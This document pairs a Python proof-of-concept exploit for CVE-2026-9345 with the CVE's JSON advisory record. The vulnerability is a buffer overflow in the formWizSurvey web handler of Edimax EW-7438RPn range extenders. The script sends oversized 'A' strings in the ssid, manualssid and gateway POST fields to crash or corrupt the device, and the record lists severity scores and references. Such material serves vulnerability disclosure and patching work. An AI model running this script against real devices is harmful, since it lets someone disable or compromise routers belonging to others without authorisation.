CVE-2026-9345

import requests # CVE-2026-9345 PoC - Edimax EW-7438RPn Buffer Overflow # Target: formWizSurvey function in /goform/formWizSurvey target_ip = "192.168.1.1" # Replace with target device IP target_port = 80 # Generate overflow payload - SSID field with excessive length # This triggers buffer overflow in formWizSurvey function def generate_payload(payload_type="ssid"): if payload_type == "ssid": # Long SSID to overflow buffer return "A" * 1024 # Adjust length based on actual vulnerable buffer size elif payload_type == "ip": # Overflow via IP parameter return "1.1.1." + "A" * 500 elif payload_type == "gateway": # Overflow via gateway parameter return "192.168." + "A" * 500 def exploit_buffer_overflow(target, payload_type="ssid"): """Send malicious request to trigger buffer overflow""" url = f"http://{target}/goform/formWizSurvey" # Construct payload with overflow data payload = generate_payload(payload_type) # HTTP POST data - parameters vulnerable to overflow data = { "ssid": payload, "manualssid": payload, "ip": "192.168.1.1", "mask": "255.255.255.0", "gateway": payload } try: response = requests.post(url, data=data, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload)}") print(f"[*] Response status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2026-9345 PoC - Edimax EW-7438RPn Buffer Overflow") print("[*] Target: formWizSurvey /goform/formWizSurvey") exploit_buffer_overflow(target_ip, "ssid")

{"cve": {"id": "CVE-2026-9345", "sourceIdentifier": "[email protected]", "published": "2026-05-24T02:16:44.807", "lastModified": "2026-05-26T19:37:00.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Edimax EW-7438RPn up to 1.31. This affects the function formWizSurvey of the file /goform/formWizSurvey of the component webs. Performing a manipulation of the argument ssid/manualssid/ip/mask/gateway results in buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_3/3.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811542", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813886", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365308", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365308/cti", "source": "[email protected]"}]}}